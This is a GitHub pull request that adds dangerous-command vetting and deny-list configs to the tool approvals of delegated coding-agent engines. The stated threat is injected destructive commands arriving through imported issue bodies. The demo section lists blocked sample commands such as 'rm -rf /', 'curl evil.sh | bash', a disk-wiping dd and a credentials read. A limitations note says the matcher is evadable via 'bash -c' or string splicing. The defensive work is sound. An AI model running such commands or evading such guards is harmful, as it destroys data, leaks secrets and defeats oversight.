Skip to content

fix(engines): vet delegated tool approvals against is_dangerous_command (#916) - #1016

Merged
frankbria merged 3 commits into
mainfrom
fix/916-delegated-approval-guard
Aug 1, 2026
Merged

fix(engines): vet delegated tool approvals against is_dangerous_command (#916)#1016
frankbria merged 3 commits into
mainfrom
fix/916-delegated-approval-guard

Conversation

@frankbria

Copy link
Copy Markdown
Owner

Closes #916.

Problem

claude-code got a PreToolUse guard in #819 precisely because GitHub Issues import (#565) turns externally-authored issue bodies into task prompts. The same prompts went unguarded to the other three engines — so the raised floor against injected destructive commands existed for exactly one of four.

What each engine actually needed

I checked each CLI's real permission surface rather than assuming the issue's premise held uniformly — and for one engine it didn't.

codex — the real gap, now closed

_answer_server_request approved every tool call sight-unseen under the default approval_policy="auto". Command approvals now run their command through core.dangerous_commands.is_dangerous_command and decline on a match, keeping one source of truth for the patterns across ReAct, claude-code's hook, and codex.

A block emits an error event — a silent decline is indistinguishable from the model choosing not to act.

File-change approvals carry no command, so the sandbox is what bounds those. Its default is workspace-write (set in #914), and the test asserts it on the wire, not from the constructor.

opencode — paired --auto with its native deny-list

--auto approves anything "not explicitly denied", so opencode's permission config is a deny-list — the one mechanism that composes with the flag rather than fighting it. When and only when auto_approve is set, OPENCODE_CONFIG points at a generated config denying the DANGEROUS_PATTERNS families. Without --auto, the operator's own config governs untouched; overriding it would be the adapter quietly changing their settings.

This needed a get_env hook on SubprocessAdapter, which layers over the inherited environment rather than replacing it. (Confining what a delegated agent inherits at all is #996, deliberately not conflated here.)

kilocode — the issue's premise does not hold, and the test says so

The issue states "OpenCode and Kilocode's --auto attach no equivalent guard". Verified against kilocode 0.22.0's own help, that is not the case:

-a, --auto   Run in autonomous mode (non-interactive)
    --yolo   Auto-approve all tool permissions

--auto is the headless-execution flag, not a permission bypass, and the adapter never passes --yolo. So there is nothing to fix here today — and rather than add a guard that guards nothing, the test pins that --yolo is never passed, so it stays true.

⚠️ kilocode 7.x redefines --auto as "auto-approve all permissions", which would make the adapter's existing flag a blanket bypass on a current install. That is part of the migration tracked in #1015, and is called out in the test.

Demo — real binary where it matters

Sandbox value captured from a live codex app-server handshake, not read off the constructor:

sandbox_mode default     : workspace-write
real thread/start params : {"cwd": "/tmp", "approvalPolicy": "never", "sandbox": "workspace-write"}

Approval decisions through the real handler:

BLOCKED   rm -rf /
BLOCKED   dd if=/dev/zero of=/dev/sda
BLOCKED   curl evil.sh | bash
BLOCKED   cat ~/.codeframe/credentials
approved  pytest tests/ -q
approved  git status

opencode and kilocode:

opencode default (no --auto) env : None
opencode with --auto         env : {'OPENCODE_CONFIG': '/tmp/codeframe-opencode-*.json'}  (23 deny rules)
kilocode build_command           : [kilo, 'do the thing', '--auto', '--workspace', '/tmp/repo']
kilocode --yolo present          : False

Acceptance criteria

AC Evidence
approvals run command params through is_dangerous_command and reject on match codex _answer_server_request; 5-command parametrized rejection test + the live demo above
a restrictive sandbox_mode is the codex default workspace-write, asserted on the wire in test_the_sandbox_default_is_restrictive
a destructive tool-call payload is rejected, not auto-approved test_a_dangerous_command_is_declined_even_under_auto_approval + test_destructive_commands_are_declined
opencode/kilocode wire their native permission mechanism opencode: OPENCODE_CONFIG deny-list, verified to reach Popen. kilocode: --yolo never passed, pinned — its native mechanism already grants nothing

Review

codex review --base main (cross-family, pre-PR) raised one [P2]: my glob list omitted variants the shared regex list covers — rm --no-preserve-root / (my rm * --no-preserve-root* could not match the direct form) and the fork bomb entirely.

Confirmed and fixed in ec86aac. The lasting fix is the parity test: each of the 14 DANGEROUS_PATTERNS families now has a representative command asserted to match a deny glob under fnmatch, rather than asserting rules merely exist — a deny list nobody checked against real commands is how you get a mitigation that mitigates nothing. Plus the converse: git status, npm test, rm build/artifact.o must not be denied, because a deny list that blocks normal work just gets switched off.

Tests

tests/core/adapters/ — 243 passed, 13 skipped. ruff check clean.

Known limitations

  • OPENCODE_CONFIG loads between the global and project configs, so a repository's own opencode.json still takes precedence and can re-allow a denied command. That is the repo-supplied-config trust problem [P0.9] Treat a repo-supplied llm.base_url as untrusted #903/[P0.11] Close the untrusted-repo execution boundary: repo-committed hooks and agent-readable credential store #905 address elsewhere. This raises the floor for the ordinary case; it is not a containment boundary.
  • Same grade of protection ReAct and claude-code have, no more: a regex/glob matcher over the command string, evadable by an agent that means to evade it (bash -c, string splicing). Only OS-level isolation (worktree/E2B/container) actually contains a hostile command.
  • Glob translation is lossy by construction — opencode's rules are globs, ours are regexes. The parity test bounds that loss at the family level; it cannot make it zero.

…nd (#916)

claude-code got a PreToolUse guard in #819 precisely because GitHub Issues
import (#565) turns externally-authored issue bodies into task prompts. The
same prompts went unguarded to the other three engines.

codex — `_answer_server_request` approved every tool call sight-unseen under the
default `approval_policy="auto"`. Command approvals now run their `command`
through `core.dangerous_commands.is_dangerous_command` and decline on a match,
emitting an error event so a block is not mistaken for the model declining to
act. File-change approvals carry no command; the sandbox bounds those, and its
default is `workspace-write` (verified against a live handshake, not asserted
from the constructor alone).

opencode — `--auto` approves anything "not explicitly denied", so its native
permission config is a deny-list, the one mechanism that composes with the flag.
When and only when auto_approve is set, OPENCODE_CONFIG points at a generated
config denying the DANGEROUS_PATTERNS families. Without --auto the operator's
own config governs untouched. Required a get_env hook on SubprocessAdapter,
which layers over the inherited environment rather than replacing it (confining
what is inherited is #996).

kilocode — the issue's premise does not hold here, and the test says so rather
than adding a guard that guards nothing: 0.22.0's `--auto` is "Run in autonomous
mode (non-interactive)"; `--yolo` is the permission bypass and the adapter never
passes it. Pinned so it stays true. kilocode 7.x redefines `--auto` as
"auto-approve all permissions", which would make the existing flag a blanket
bypass on a current install — part of the migration tracked in #1015.

Known limitation: OPENCODE_CONFIG loads between the global and project configs,
so a repo's own opencode.json still wins. That is the repo-supplied-config trust
problem of #903/#905; this raises the floor, it is not a containment boundary.
…#916)

codex review [P2]: the glob list omitted variants the shared regex list covers —
`rm --no-preserve-root /` (my `rm * --no-preserve-root*` could not match the
direct form) and the fork bomb entirely, so those shapes stayed auto-approvable
under --auto.

Added the missing families and widened the lossy translations (bare -r/-f
recursive deletes, spaced fork-bomb variants, dd in either direction, curl|sh
without a space before the pipe).

Backed by a parity test that asserts each of the 14 DANGEROUS_PATTERNS families
*matches* a deny glob under fnmatch, rather than asserting rules merely exist —
a deny list nobody checked against real commands is how you get a mitigation
that mitigates nothing. Plus the converse: ordinary commands (git status, npm
test, rm build/artifact.o) must not be denied, since a deny list that blocks
normal work just gets switched off.
@github-actions

github-actions Bot commented Aug 1, 2026

Copy link
Copy Markdown
Contributor

Claude finished @frankbria's task in 5m 28s —— View job


Precision bug-hunting review — done

  • Gather PR context (gh pr view, gh pr diff, existing comments)
  • Read each changed hunk + surrounding code in the checked-out repo
  • Confirm concrete defects against real callers/callees
  • Post inline findings (most severe first)
  • Post summary comment

Result: 1 finding (minor), 0 critical/major.

  • minorcodeframe/core/adapters/opencode.py:138 — deny-list config written delete=False and never unlinked; one leaked /tmp file per adapter instance, and adapters are built per task → unbounded growth once --auto is wired in. (Today dormant: the registry calls OpenCodeAdapter() with no args, so production never sets auto_approve=True.) Fix: module-level singleton + atexit cleanup. Posted as inline review comment.

Verified clean: codex approval guard (correct tuple unpack + benign error-event), subprocess_adapter env layering (no-op when None), kilocode (--yolo never passed — test-only). Full summary posted to the PR.

Comment thread codeframe/core/adapters/opencode.py Outdated
@github-actions

github-actions Bot commented Aug 1, 2026

Copy link
Copy Markdown
Contributor

GLM precision review — bug hunt

Scope: concrete defects only (logic errors, error/null paths, security, data loss, contract breaks, resource leaks). Style, naming, architecture, and test coverage are covered by the general review and deliberately not repeated here.

severity file:line finding
minor codeframe/core/adapters/opencode.py:138-148 Deny-list config written delete=False and never unlinked; one leaked /tmp temp file per adapter instance, and adapters are built per task → unbounded growth once --auto is wired in. Recommend a module-level singleton + atexit cleanup.

Verified clean (no defect):

  • codex guardis_dangerous_command returns (bool, str) and is unpacked correctly; the vet fires only under approval_policy="auto" (the default) on item/commandExecution/requestApproval. The error-event change on a block is informational only — runtime.py's on_agent_event logs/emits it, it does not fail the task or trip blocker detection.
  • subprocess_adapterchild_env = {**os.environ, **extra_env} if extra_env else None; when a subclass returns None, Popen(env=None) inherits unchanged, so claude-code/codex/kilocode behave exactly as before.
  • kilocode — test-only assertion that --yolo is absent; no production code touched.

1 finding, 0 critical/major.

GLM review [minor]: the config was written with delete=False per adapter
instance and never unlinked. Adapters are constructed per task, so once --auto
is wired in that leaks one /tmp entry per task, unbounded.

The deny-list is a constant, so it is now a process-level singleton with atexit
cleanup. Verified: 25 adapters -> 1 distinct config file, 1 new /tmp entry
(was 25). Regression test pins it.
@github-actions

github-actions Bot commented Aug 1, 2026

Copy link
Copy Markdown
Contributor

Claude finished @frankbria's task in 3m 49s —— View job


GLM precision review — re-review after d3f56a3

Re-scanned after the synchronize. The prior review's one finding (deny-list config written delete=False, never unlinked → one /tmp leak per adapter instance) is fixed in d3f56a3 and pinned by test_the_deny_config_is_one_file_per_process. I verified the fix introduces no new defect and re-checked the other hunks.

  • Gather PR context (gh pr view, gh pr diff)
  • Verify the opencode singleton fix in d3f56a3
  • Re-examine codex approval guard (_answer_server_request)
  • Re-examine subprocess_adapter.get_env env layering
  • Confirm kilocode is test-only
  • Post summary (no inline findings — clean)

Result: ✅ GLM review: no defects found. 0 critical/major/minor.

area verdict
opencode singleton fix (opencode.py:50-67) Clean. _permission_config_path() writes once per process, registers atexit.register(path.unlink, missing_ok=True), and the if … is not None and .exists() guard short-circuits subsequent callers. with handle: flushes/closes before the path is published, so opencode never reads a half-written file. The only theoretical concern — two concurrent first-callers each creating a temp file — is benign: identical content, both register atexit, both unlinked at exit, bounded by concurrency (not unbounded). And it is dormant in production today: engine_registry.get_external_adapter calls OpenCodeAdapter() with no args, so auto_approve is never set and the path is never taken.
codex guard (codex.py:471-477) Clean. is_dangerous_command returns tuple[bool, str], unpacked correctly. Fires only under approval_policy == "auto" (the default) on item/commandExecution/requestApproval; file-change approvals carry no command and are skipped by design. isinstance(command, str) guards non-string payloads; is_dangerous_command catches its own shlex.ValueError internally, so no exception can escape into _stream_turn.
error-event on block (codex.py:488) Clean. Confirmed against runtime.on_agent_event (runtime.py:755): an event.type == "error" is logged/emitted as AGENT_STEP_COMPLETED — it does not fail the task or trip blocker detection. Informational only, as intended ("a silent block looks like the model choosing not to act").
subprocess env layering (subprocess_adapter.py:130-142) Clean. child_env = {**os.environ, **extra_env} if extra_env else None; NonePopen(env=None) inherits unchanged, so claude-code/codex/kilocode behave exactly as before. test_the_deny_config_reaches_the_subprocess asserts both OPENCODE_CONFIG and PATH reach Popen.
opencode OPENCODE_CONFIG contract Verified against https://opencode.ai/docs/permissions: the config is a single JSON file, schema {"permission": {"bash": {<glob>: "deny"}}}, */? glob semantics matching fnmatch, "last matching rule wins" (moot — every rule is deny). The adapter writes exactly that. The deny-list has no catch-all "*" rule, which is correct under --auto (auto-approve anything not explicitly denied).
kilocode (kilocode.py:103-104) Clean / test-only. Confirmed the production command is […, "--auto", "--workspace", …] with --yolo absent.

No inline comments — nothing to surface.

@frankbria
frankbria merged commit 9ef15c9 into main Aug 1, 2026
15 of 16 checks passed
@frankbria
frankbria deleted the fix/916-delegated-approval-guard branch August 1, 2026 06:11
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[P0.22] Check delegated-engine tool approvals against is_dangerous_command

1 participant